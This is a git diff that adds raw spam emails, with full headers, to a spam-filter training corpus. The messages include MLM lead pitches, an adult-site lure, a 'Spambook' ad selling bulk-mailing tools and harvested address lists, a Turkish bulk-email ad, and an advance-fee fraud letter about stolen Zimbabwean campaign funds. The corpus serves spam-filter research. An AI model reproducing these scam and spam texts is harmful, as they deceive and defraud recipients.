+https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00999.f46c3f4b40ebbd0cf2752066c9372ecc b/bayes/spamham/spam_2/00999.f46c3f4b40ebbd0cf2752066c9372ecc new file mode 100644 index 0000000..0533406 --- /dev/null +++ b/bayes/spamham/spam_2/00999.f46c3f4b40ebbd0cf2752066c9372ecc @@ -0,0 +1,162 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6P1Boi5048767 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 20:11:50 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6P1BoI6048759 + for cypherpunks-forward@ds.pro-ns.net; Wed, 24 Jul 2002 20:11:50 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6P1BXi4048596 + for ; Wed, 24 Jul 2002 20:11:48 -0500 (CDT) + (envelope-from cpunks@einstein.ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id UAA15586 + for cypherpunks@ds.pro-ns.net; Wed, 24 Jul 2002 20:20:31 -0500 +Received: from amuro.net ([200.205.141.211]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id UAA15533; + Wed, 24 Jul 2002 20:20:07 -0500 +Received: from [124.152.85.38] by a231242.upc-a.zhello.nl with asmtp; 24 Jul 2002 18:10:57 +0500 +Received: from q4.quickslow.com ([107.54.17.122]) + by f64.law4.hottestmale.com with local; 24 Jul 2002 23:02:53 +0600 +Received: from smtp013.mail.yahou.com ([137.49.139.224]) + by n7.groups.huyahoo.com with asmtp; Thu, 25 Jul 2002 04:54:49 -0400 +Reply-To: "MLM Insider Forum" +Message-ID: <035e87a74d8d$5461a7a4$2eb12bc8@wmnfpn> +From: "MLM Insider Forum" +To: +Cc: , , + +Subject: Cost-Effective MLM/Bizop Phone-Screened Leads +Date: Wed, 24 Jul 2002 18:02:24 +0700 +MiME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: AOL 7.0 for Windows US sub 118 +Importance: Normal + + +Hello,

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    +    - Then the Leads are submitted to a website we set up for you,
    +from which the results are then forwarded to you by email.

    +- This way, you get the Leads fresh, and in *real-time*
    +(only minutes old).  Never more than 24 hours old.  Guaranteed!

    +- We GUARANTEE that you'll receive AT LEAST a valid Name,
    +Phone Number and the Time-Date Stamp corresponding to when
    +the Lead was generated!  However, almost ALL leads will have
    +ALL of the information asked above.

    +
    +Benefits of our Phone Qualified Lead Generation System:

    +    1. They will be Extremely Qualified due to the nature of the
    +qualifying questions that will be asked (above).

    +2. They are Super-Fresh!  Delivered in Real-Time only moments
    +    after they are contacted and qualified!  (Not 30-120 days old)

    +3. They're Targeted.  Each Lead we generate originates from a
    +targeted list of business opportunity seekers.

    +4. They're Highly Receptive!  Receptivity is very, very high
    +because they aren't bombarded by tons of people pitching
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    +    5. No "feast or famine" activity.  Leads will be coming in
    +regularly.  You dictate the flow!

    +6. No more cold calls!  We tell your prospects you'll be calling.

    +7. You can *personalize* your approach with the info. you
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    +8. Save Time.  Naturally, better Leads means less calls to get a sale.

    +9. Lower "burnout" factor.  Calling red-hot Leads makes it easier
    +to pick up the phone, day in and day out.

    +10. You can sort your Leads based on their responses and call the
    +hottest ones first.

    +11. You can get new reps started quicker using these Leads due
    +to higher closing ratios.  Of course, this builds faster and stronger
    +momentum, and skyrockets "new rep retention" as a result of
    +"quick successes".

    +12. The Leads will be uniform - almost all leads will have the info.
    +indicated above. (All leads will have valid phone numbers.)

    +13. They're double-qualified because to generate the Lead,
    +a list of previous business opportunity seekers is used.

    +14. Excellent control of the flow of Leads coming through.

    +If you've been trying to run things too long without a steady flow of high
    +quality leads, call us NOW to get things in motion.  Just let us know
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    +Since your need to get business moving has probably never been
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    +    These are fresh, highly qualified leads because these people aren't
    +just responding to some "Generic Business Opportunity" ad, they're
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    +days, weeks, or months!

    +
    +
    Start Generating As Many SIGN-UPS as You Can Handle!
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    +    Call For Details and Discount Pricing!
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    +    Or email us here for full details

    +

    +
    +To opt out Click Here

    +
    +     + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by: Jabber - The world's fastest growing +real-time communications platform! Don't just IM. Build it in! +http://www.jabber.com/osdn/xim +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01000.a6f26937625654510b0e5442d24f0e46 b/bayes/spamham/spam_2/01000.a6f26937625654510b0e5442d24f0e46 new file mode 100644 index 0000000..34821bc --- /dev/null +++ b/bayes/spamham/spam_2/01000.a6f26937625654510b0e5442d24f0e46 @@ -0,0 +1,27 @@ +Received: from dallas.net (ultra1.dallas.net [204.215.60.15]) + by linux.midrange.com (8.11.6/8.11.6) with ESMTP id g6OBc3e03139 + for ; Wed, 24 Jul 2002 06:38:03 -0500 +Received: from larry.catalog.com (larry.catalog.com [209.217.36.10]) + by dallas.net (8.12.2/8.12.2) with ESMTP id g6OBV7mv005342; + Wed, 24 Jul 2002 06:31:08 -0500 (CDT) +Received: (from spiritweb@localhost) + by larry.catalog.com (8.12.0.Beta19/8.12.0.Beta19) id g6OBUJcd019533; + Wed, 24 Jul 2002 06:30:19 -0500 (CDT) +Date: Wed, 24 Jul 2002 06:30:19 -0500 (CDT) +Message-Id: <200207241130.g6OBUJcd019533@larry.catalog.com> +To: gibbs@koalas.com, gibbs@mcs.com, gibbs@mercury.mcs.net, gibbs@midrange.com, + gibbs@nternet.com, gibbs@rcn.com, gibbs@sprintmail.com, gibbs_donna@msn.com, + gibbs_household@bigpond.com, gibbs_raetz@msn.com +From: YourPeach21@hotmail.com () +Subject: Limited Time Offer For A FREE Membership! +X-Status: +X-Keywords: + +Below is the result of your feedback form. It was submitted by + (YourPeach21@hotmail.com) on Wednesday, July 24, 2002 at 06:30:19 +--------------------------------------------------------------------------- + +:: For a limited time you can get a 100% FREE membership to the best sites on the internet. No telling how long this limited time offer will last Act Fast!If You Would Like To Be Removed Then remove + +--------------------------------------------------------------------------- + diff --git a/bayes/spamham/spam_2/01001.742869a142437dc82db21228edcaff32 b/bayes/spamham/spam_2/01001.742869a142437dc82db21228edcaff32 new file mode 100644 index 0000000..371c9af --- /dev/null +++ b/bayes/spamham/spam_2/01001.742869a142437dc82db21228edcaff32 @@ -0,0 +1,332 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NJpVhY051078 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 14:51:31 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6NJpVwB051075 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 14:51:31 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NJpOhX051006 + for ; Tue, 23 Jul 2002 14:51:26 -0500 (CDT) + (envelope-from cpunks@einstein.ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id PAA16661 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 15:00:05 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id PAA16645 + for cypherpunks-outgoing; Tue, 23 Jul 2002 15:00:00 -0500 +Received: from juno.com ([211.185.172.65]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id OAA16640 + for ; Tue, 23 Jul 2002 14:59:51 -0500 +From: roberthj1@juno.com +Message-ID: <011a88a80b2d$8335d0e3$1dd42de1@puunhu> +To: Earn.money.online@einstein.ssz.com +Subject: Never Pay eBay Fees Again!!!! +Date: Wed, 24 Jul 0102 05:30:52 -0700 +MiME-Version: 1.0 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) +Importance: Normal +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish + +Hi, + +I'm a college dropout. I work about two hours a day. +I'm ambitious, but extremely lazy, and I make over +$250,000 a year. Are you curious yet? + +In a minute I'm going to tell you my secret, +it's the dirty little secret of the Internet ... + +You've probably heard stories about people making +whopping huge money online, but you thought they +were the big corporate execs, famous programmers, or +boy-geniuses. + +Well, grasshopper, think again ... + +It's people like you and me that are making the real +money. Yep, people like YOU AND ME! + +Ever since the "dot com bubble" burst in 1999, small-time +entrepreneurs are getting richer while the Fortune 500 +companies look for bankruptcy lawyers. + +Today small business owners and ordinary folks +like you and me can use the web to achieve complete +financial freedom with NO INVESTMENT and very little +work. How? By learning the most profitable marketing +technique ever created - it's called bulk email, or SPAM. + +If you've ever recieved an email advertisement, then +you know what bulk email is. I bet you can't click on +DELETE fast enough for most of those ads, right? +You might not want their product, but remember that +thousands of other folks probably do. Bulk email is a +percentage game - every bulk emailer who contacts you +makes a six figure income on the Internet. I +guarantee it. Now let's go back to Math 101 and +review some numbers ... + +If you sell on eBay, you pay anywhere from a few +dollars to over a hundred dollars just to post one +auction. How many people see your ad? Maybe a +couple thousand or even ten or twenty thousand +over a period of days. Using bulk email, YOU CAN +SEND YOUR AD TO MORE THAN A MILLION PEOPLE A DAY +at virtually no cost. Whether your send 100,000 +emails or 100 million emails, the price is the same. +ZERO! + +Stop paying those outrageous auction listing fees when +hardly anyone sees your ad! + +Imagine that you have a decent product with a +profit margin of $20.00 on each sale. If you send +an email ad to 500,000 people, and only one person +in a thousand actually places an order, then you just +generated 500 orders and made $10,000 in a few hours +of work. + +It's that simple ... + +All you have to do is convince ONE PERSON OUT OF A +THOUSAND to buy your stuff and you're FILTHY RICH. + +The best thing is that anyone can do it. Doesn't +matter if you're a nineteen-year-old college student +using a dorm-room computer or a fifty-year-old +executive working from an office building in New +York City. Anyone, and I repeat ANYONE, can start +bulk emailing with virtually no startup costs. All it takes +is a few days of study, plenty of ambition, and some +basic familiarity with the Internet. + +I quit college when I was 19 to capitalize on the +"Dot Com" mania, and I've never looked back. I +started with no money, no product to sell, and only +the most rudimentary computer skills. I saw an +opportunity and I seized it. A few years later, +I bought my own home - with CASH. + +You don't need any money. You don't need a product. +You don't need to be a computer nerd and no experience +whatsoever is required. + +If you saw an employment ad in the newspaper like that +you'd jump right on it. It would be a dream come true. +So what are you waiting for?! + +I'm going to ask you four simple questions. If you answer +YES to all of them, then I can almost promise that you +will make at least $100,000 using bulk email this year. + +Here goes ... + +Do you have basic experience with the web? +Do you have a computer and an Internet connection? +Do you have a few hours each day of free time? +Do you want to earn some extra money with an eye towards +complete financial freedom? + +If you answer YES to these questions, you could be +making $5,000 - $20,000 per week working from your +home. Kiss your day job goodbye - this sure beats +the 9-5 daily grind! + +All you need is ambition and commitment. This +is no "get rich quick scheme". You have to work +to make big bucks, but ANYONE - and I mean ANYONE - can do +it. + +You're probably wondering if it's hard to get started. +Don't worry, it's not! I will show you step-by-step +how to start your first email campaign and how to +build a booming online business. You'll be generating +orders - AND MAKING MONEY - in less than seven days. + +Okay, so what if you don't have anything to sell? + +No problem!! I'll show you where to find hot +products that sell like CRAAAAAAZY! Most people delay +starting an Internet business because they have +nothing to sell, but I'm removing that hurdle right now. +After reading the Spambook, you can build your complete +product line in less than two hours! There is NO EXCUSE +not to get started! I will get you up-and-running within +seven days. In fact ... + +I personally guarantee that you will start your own +bulk email campaign less than a week after reading +the Spambook! I'll give you a toll-free phone number +to reach me 24 hours a day, seven days a week; +where else will you find that level of service?! + +I will also include a step-by-step guide to starting +your very first email campaign called "Seven Days to +Bulk Email Success". This seperate guide contains a daily +routine for you to follow with specific, exact +instructions on how to get started. On day one, for +example, I teach you where to find a product to sell. +The next day you learn how to build a fresh mailing +list. On the seventh day, you just click send! Your +very first campaign is ready to go. + +As a special bonus, you'll recieve a FREE copy +of our STEALTH MASS MAILER, a very powerful bulk +email program which retails for $49.99! I'll even +include 7 million email addresses absolutely FREE +if you order NOW! + +Stop wasting your money on auction listing fees, +classifieds, and banner ads - they don't work, and +never will! If you are SERIOUS about making money +on the Internet, bulk email is your only option. +What are you waiting for? Few of us are willing +to share this knowledge, but I promise to teach +you everything I know about bulk emailing in this +extraordinary bulk emailer's handbook ... The Spambook! + +Once again, here's the deal. You give me $29.99. +I give you ALL THE TOOLS YOU NEED to become a +successful, high profit email bulk emailer. INCLUDING: + +** THE SPAMBOOK +Teaches you step-by-step how to become a high profit +bulk emailer. Secret techniques and tips never +before revealed. + +** SEVEN DAYS TO BULK EMAIL SUCCESS +Provides detailed day-by-day instruction to start sending +your first email campaign in seven days. + +** 600 Email subjects that PULL LIKE CRAZY + +** EMAIL LIST MANAGER +Manage your email lists quickly and easily. Very +user-friendly, yet powerful, software. + +** STEALTH MASS MAILER +Software can send up to 50,000 emails an hour automatically. +Just load them in there and click SEND! + +** ADDRESS ROVER 98 and MACROBOT SEARCH ENGINE ROBOT +Extracts email addresses from databases and search engines +at speeds of over 200,000 per hour. + +** WORLDCAST EMAIL VERIFIER +Used to verify your email addresses that you extract to +make sure they're valid. + +** EBOOK PUBLISHER +Easily publish your own e-books and reports for resale using, +you guessed it, bulk email! + +** SEVEN MILLION EMAIL ADDRESSES +This huge list will get you started bulk emailing right away. +I harvested these addresses myself, the list is filled +with IMPULSE BUYERS ready to respond to your ads! + +If you added up all of the FULL VERSION BULK EMAIL software +included with the Spambook package, it would total over +$499. I am giving you the whole bundle for only $29.99. +That means there is no other out-of-pocket startup expense +for you. Nothing else to buy, no reason to waste money on +software that doesn't work. With this one package, you get +EVERYTHING YOU NEED to START BULK EMAILING RIGHT AWAY. + +Are you willing to invest $29.99 for the opportunity +to make a SIX FIGURE INCOME on the Internet +with no startup cash and very little effort? + +Remember, you will recieve a toll-free phone number +for 24 hour expert advice and consultation FROM ME +PERSONALLY. + +To order the Spambook right now for only $29.99 with +a Visa or Mastercard, please click on the link below. +This will take you to our secure server for order +processing: + +https://www.paypal.com/xclick/business=myblack93pgt%40hotmail.com&item_name=Spambook&item_number=Spambook&amount=%2429.99 + +Note: The Spambook will be delivered electronically +within 24 hours. It is not available in printed form. + +You may also pay with cash, check or money +order by printing the order form below and +sending it with your payment. + +------------------------- CUT HERE ----------------------- + +Product: "The Spambook" +Price: $29.99 + +HOW TO ORDER BY MAIL: Print out this order +form and send cash, personal check, money +order or cashier's check to the address listed below: + +Blair Russell +RR#2 Coulsons Hill Road #2452 +Bradford, Ontario, Canada +L3Z 2A5 + +Your Shipping Information: + +Your Name_____________________________________________ +Your Address__________________________________________ +Your City_____________________________________________ +State / Zip___________________________________________ +Phone #: _____________________________________________ +(For problems with your order only. No salesmen will call.) + +Email Address________________________________________ + + +If paying by credit card, please fill in the information below: + +Credit Card Number:________________________________ +Expiration Date:___________________________ +Signature:_________________________ +Date:____________________ + + +IMPORTANT LEGAL NOTE: There are no criminal laws against +the non-fraudulent sending of unsolicited commercial email +in the United States. However, other countries have passed +laws against this form of marketing, so non-US residents +should check local regulations before ordering. To view +US State and Federal guidelines concerning bulk email, and to +check foreign regulations, please visit http://www.spamlaws.com + + + + +8112Qkxd9-941DIFV3249esWe6-294Awtq1l33 + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/01002.406c1c709e49cb740f0ce36ebf2d5c78 b/bayes/spamham/spam_2/01002.406c1c709e49cb740f0ce36ebf2d5c78 new file mode 100644 index 0000000..df70733 --- /dev/null +++ b/bayes/spamham/spam_2/01002.406c1c709e49cb740f0ce36ebf2d5c78 @@ -0,0 +1,119 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6OCv8hY053287 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 07:57:09 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6OCv8cP053273 + for cypherpunks-forward@ds.pro-ns.net; Wed, 24 Jul 2002 07:57:08 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6OCv0hY053227 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Wed, 24 Jul 2002 07:57:01 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6OCuxJ86557 + for ; Wed, 24 Jul 2002 08:56:59 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6OCuwr12406 + for cypherpunks@ds.pro-ns.net; Wed, 24 Jul 2002 08:56:58 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6OCuvR12384 + for ; Wed, 24 Jul 2002 08:56:57 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6OCuuJ86545 + for ; Wed, 24 Jul 2002 08:56:57 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id IAA27809 + for cpunks@minder.net; Wed, 24 Jul 2002 08:05:47 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id IAA27799 + for cypherpunks-outgoing; Wed, 24 Jul 2002 08:05:40 -0500 +Received: from 198.64.154.99-generic (mail70.mm53.com [198.64.154.99]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id IAA27782 + for ; Wed, 24 Jul 2002 08:04:12 -0500 +Message-Id: <200207241304.IAA27782@einstein.ssz.com> +Content-Disposition: inline +Content-Transfer-Encoding: 7bit +Content-Type: text/html +MIME-Version: 1.0 +Date: Wed, 24 Jul 2002 12:55:18 UT +X-X: H4F%N9&]M25;KNYT>YG)T*GJ9W7C-=65F3U>02T@K2W1$/L\D#-R<8P`` +Old-Subject: CDR: Friend, Companies are giving away FREE CARS! +X-List-Unsubscribe: +From: "Only the Best" +X-Stormpost-To: cypherpunks@einstein.ssz.com 7552100 342 +To: "Friend" +X-Mailer: StormPost 1.0 +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: Friend, Companies are giving away FREE CARS! + + + +
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BUNUN iCiN BURADAYIZ.. 24.07.2002 15:57:41 +Sender: sitescooper-talk-admin@example.sourceforge.net +Errors-To: sitescooper-talk-admin@example.sourceforge.net +X-Beenthere: sitescooper-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion of sitescooper - see http://sitescooper.org/ + +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 24 Jul 2002 15:57:41 +0300 +Date: Wed, 24 Jul 2002 15:57:41 +0300 +Content-Type: text/html; charset="windows-1254" +Content-Transfer-Encoding: quoted-printable + +=3Chtml=3E=3Chead=3E=3Cmeta http-equiv=3DContent-Language content=3Dtr=3E=3Cmeta http-equiv=3DContent-Type content=3D=22text=2Fhtml=3B charset=3Dwindows-1254=22=3E=3Ctitle=3ETR Rehber 6=3C=2Ftitle=3E=3C=2Fhead=3E +=3Cbody background=3D=22http=3A=2F=2Fxyzlm22=2Esitemynet=2Ecom=2Fback1=2Egif=3E=22 topmargin=3D1 leftmargin=3D1 bgcolor=3D=22#CECFFF=22=3E + =3Cp align=3D=22center=22=3E + =3Cimg border=3D=222=22 src=3D=22http=3A=2F=2Fxyzlm22=2Esitemynet=2Ecom=2Fbanner1=2Egif=22 align=3D=22center=22 width=3D=22610=22 height=3D=2281=22=3E=3Cdiv align=3D=22center=22=3E + =3Ccenter=3E + =3Ctable border=3D1 cellspacing=3D1 style=3D=22border-collapse=3A collapse=22 bordercolor=3D=22#111111=22 width=3D612 id=3DAutoNumber1 height=3D77 bgcolor=3D=22#CECFFF=22 background=3D=22http=3A=2F=2Fxyzlm22=2Esitemynet=2Ecom=2Fback1=2Egif=22=3E=3Ctr=3E + =3Ctd width=3D606 height=3D16 bgcolor=3D=22#00FFFF=22=3E=3Cp align=3Dcenter=3E=3Cb=3E=3Cfont face=3DArial color=3D=22#FF0000=22=3E =3Cmarquee scrolldelay=3D100 scrollamount=3D9=3EREKLAMLARINIZA SERVET =D6DEMEYiN!!! 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+ =3B=3C=2Ffont=3E=3C=2Fb=3E=3C=2Fli=3E + =3Cli=3E + =3Cp align=3Djustify style=3D=22margin-right=3A 23=3B margin-top=3A -9=3B margin-bottom=3A 0=22=3E + =3Cb=3E=3Cfont face=3D=22Verdana=22 size=3D=221=22=3EAyrica bu programlar HTML formatinda + mesaj g=F6nderimini de desteklemektedir=2E Bu destek sayesinde renkli=2C resimli + daha g=F6rsel ve dikkat cekici iletiler g=F6nderebilirsiniz=2E=2E=2E=3Cbr=3E + =3B=3C=2Ffont=3E=3C=2Fb=3E=3C=2Fli=3E + =3Cli=3E + =3Cp align=3Djustify style=3D=22margin-right=3A 23=3B margin-top=3A -9=3B margin-bottom=3A 0=22=3E=3Cb=3E=3Cfont face=3DVerdana size=3D1=3ECD icerisindeki b=FCy=FCk e-mail + listelerini kolayca d=FCzenleyebileceginiz=2C istenmeyen e-mail adreslerini + otomatik olarak silebileceginiz ve her t=FCrl=FC kategoriye ayirabileceginiz + programlar da =FCcretsiz olarak verilmektedir=2E=2E=2E=3Cbr=3E + =3B=3C=2Ffont=3E=3C=2Fb=3E=3C=2Fli=3E + =3Cli=3E + =3Cp align=3Djustify style=3D=22margin-right=3A 23=3B margin-top=3A -9=3B margin-bottom=3A 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width=3D612 id=3DAutoNumber3 height=3D131 bgcolor=3D=22#CECFFF=22 background=3D=22http=3A=2F=2Fxyzlm22=2Esitemynet=2Ecom=2Fback1=2Egif=22=3E=3Ctr=3E + =3Ctd width=3D607 height=3D20 bgcolor=3D=22#00FFFF=22=3E + =3Cp align=3D=22center=22=3E=3Cu=3E=3Cb=3Eiletisim Bilgileri =3A =28 Pazar haric herg=FCn 09=3A00 ile 19=3A30 arasi=29=3C=2Fb=3E=3C=2Fu=3E=3C=2Ftd=3E=3C=2Ftr=3E=3Ctr=3E + =3Ctd width=3D607 height=3D52=3E=3Cp align=3Dcenter=3E=3Cfont face=3DVerdana size=3D=224=22=3E + =3Cspan style=3D=22background-color=3A #FF0000=22=3EGSM=3A+ 90 535 482=2E97=2E19 =3B G=F6khan + ATASOY=3Cbr=3E + =3Cfont color=3D=22#FFFF00=22=3E + =3Cmarquee width=3D=22386=22=3ETAKLiTLERiMiZDEN SAKININ=2C GARANTiSi OLMAYAN =FCR=FCNLER=2C HiZMETLER KARiYERiNiZi ZEDELEYEBiLiR=2E=2E=3C=2Fmarquee=3E=3C=2Ffont=3E=3C=2Fspan=3E=3C=2Ffont=3E=3C=2Ftd=3E=3C=2Ftr=3E=3Ctr=3E=3Ctd width=3D607 height=3D109=3E=3Cp align=3Dcenter=3E=3Cb=3E =3Cfont face=3D=22Verdana=2C Arial=2C Helvetica=2C sans-serif=22 color=3D=22#FF0000=22=3E =3BG=FCn=FCm=FCz + T=FCrkiye'sinde internet + araciligiyla yapilan reklamlar hizla artmaktadir=2E T=FCrkiye'de ve d=FCnyada bircok + firma bu y=F6ntemlerle kendini tanitmaktadir=2EBu artisin icinde sizin de yeralmaniz + kacinilmaz bir gercek olacaktir=2E=3C=2Ffont=3E=3C=2Fb=3E=3C=2Ftd=3E=3C=2Ftr=3E=3Ctr=3E + =3Ctd width=3D607 height=3D1=3E=3Cp align=3Dcenter=3E=3Cfont face=3DTahoma size=3D2 color=3D=22#000000=22=3EHerseye ragmen bizden e-mail almak istemiyor ve satisa sundugumuz=3Cbr=3E +  =3Blistelerden cikmak istiyorsaniz =3C=2Ffont=3E=3Cb=3E + =3Ca href=3D=22mailto=3Auyeiptal=40gmx=2Enet=22=3Euyeiptal=40gmx=2Enet=3C=2Fa=3E=3C=2Fb=3E=3Cfont face=3D=22Arial=22 color=3D=22#ffffff=22 size=3D=222=22=3E=3Cb=3E =3B + =3C=2Fb=3E=3C=2Ffont=3E=3Cfont face=3DTahoma size=3D2 color=3D=22#000000=22=3Eadresine bo=FE bir mail g=F6ndermeniz yeterli olacakd=FDr=2E=3C=2Ffont=3E=3C=2Ftd=3E=3C=2Ftr=3E=3C=2Ftable=3E=3C=2Fcenter=3E=3C=2Fdiv=3E +=3C=2Fbody=3E=3C=2Fhtml=3E + + + + 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    + + +cocol + + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/01006.51548cae04a891d900aa5be21c121548 b/bayes/spamham/spam_2/01006.51548cae04a891d900aa5be21c121548 new file mode 100644 index 0000000..a83640f --- /dev/null +++ b/bayes/spamham/spam_2/01006.51548cae04a891d900aa5be21c121548 @@ -0,0 +1,62 @@ +From infoeurope@mailcity.com Wed Jul 24 15:12:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3CC3E440CD + for ; Wed, 24 Jul 2002 10:12:27 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 15:12:27 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6OE49417477 for + ; Wed, 24 Jul 2002 15:04:10 +0100 +Received: from mailcity.com (fes.mail.lycos.com [209.185.123.154]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6OE38p18646 for + ; Wed, 24 Jul 2002 15:03:15 +0100 +Received: from Unknown/Local ([?.?.?.?]) by mailcity.com; Wed Jul 24 + 07:02:49 2002 +To: infoeurope@lycos.com +Date: Wed, 24 Jul 2002 15:02:49 +0100 +From: "europe info" +Message-Id: +MIME-Version: 1.0 +Content-Language: en +X-Expiredinmiddle: true +Reply-To: infoeurope@lycos.com +X-Sent-Mail: off +X-Mailer: MailCity Service +Subject: PARTNERSHIP. +X-Priority: 3 +X-Sender-Ip: 212.87.127.249 +Organization: Lycos Mail (http://www.mail.lycos.com:80) +Content-Type: text/plain; charset=us-ascii +Content-Language: en +Content-Transfer-Encoding: 7bit + +FROM:ZIMMY MABO. +TEL:0031-623-787-971. +E-MAIL:infoeurope@lycos.com. +THE NEDERLANDS. + + + SOLICITING FOR A BUSINESS VENTURE AND PARTNERSHIP + +Before I proceed.Am greatful to introduce my self, My name is MR ZIMMY MABO a zimbabwean.I was formaly a personal aid to PRESIDENT ROBERT MUGABE,Due to my position and closeness with the President. I absconded with sum of TWENTY FIVE MILLION UNITED STATES DOLLARS (US$25,000,000)Which was part of the money meant for campaigning for president Robert Mugabe's re- election into office under Zaunpe party.Presently I have been able to move the funds diplomatically to a security company in the Netherlands. + +MY REQUEST:I am looking for a trustworthy individual or firm to advice me in the right investment as well as to provide account where the funds will be lodge into.Moreso,I am interested in buying propertys for residence as my family will be residing there in the near future. + +COMMISSION AND REMUNERATION:As regards your commission and remuneration,I have decided to offer you 25% and also 5% for all your expenses(telephone bills, travelling expenses, hotel bills and other expenses incurred). + +NOTE: I shall commit half of my own share of the total sum into a joint venture project preferably in the purchace of real estates or other profitable business venture ,Be rest assured that you stand no risk of any kind as the funds inquestion belong to me alone, As soon as I get your conset ,I will furnish you with the details and contact of the security company where I have the funds deposited.I strongly believe that associating with you to embark on this and other business ventures will derive a huge success hereafter and it will be a long lasting business association. + + + YOURS TRULY, + MR.ZIMMY MABO. + + +_____________________________________________________ +Supercharge your e-mail with a 25MB Inbox, POP3 Access, No Ads +and NoTaglines --> LYCOS MAIL PLUS. +http://www.mail.lycos.com/brandPage.shtml?pageId=plus + + diff --git 